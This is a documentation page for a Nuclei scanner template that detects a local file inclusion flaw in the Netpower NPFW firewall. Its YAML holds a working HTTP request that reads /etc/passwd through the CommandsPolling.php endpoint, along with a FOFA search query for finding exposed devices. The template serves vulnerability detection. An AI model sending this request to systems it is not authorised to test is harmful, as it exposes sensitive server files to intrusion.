Netpower NPFW - Local File Inclusion
ID: netpower-npfw-lfi
Severity: high
Author: ritikchaddha
Tags: netpower,npfw,lfi
Description
Section titled “Description”Netpower NPFW firewall has an arbitrary file read vulnerability. Due to insufficient code filtering, it can read any file on the server
YAML Source
Section titled “YAML Source”id: netpower-npfw-lfi
info: name: Netpower NPFW - Local File Inclusion author: ritikchaddha severity: high description: | Netpower NPFW firewall has an arbitrary file read vulnerability. Due to insufficient code filtering, it can read any file on the server reference: | - https://forum.butian.net/article/241 metadata: max-request: 1 fofa-query: '"Netpower" && "/direct"' tags: netpower,npfw,lfi
http: - raw: - | POST /direct/polling/CommandsPolling.php HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded
command=ping&filename=%2Fetc%2Fpasswd&cmdParam=
matchers-condition: and matchers: - type: regex regex: - "root:.*:0:0:"
- type: word part: body words: - '{"type":"event"' - 'dealing' condition: and
- type: status status: - 200# digest: 4a0a004730450220710116f54891721e502e08674c065f0db1a8276ba347b130cea41262498fbefe022100fc9af9495b327390b3cce26aa7d5b9d4c13211c5f07905f1bcf52a4c61e50d55:922c64590222798bb761d5b6d8e72950Guide to check the vulnerabilities
Section titled “Guide to check the vulnerabilities”This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.
$ nuclei -u "URL" -t "http/vulnerabilities/other/netpower-npfw-lfi.yaml"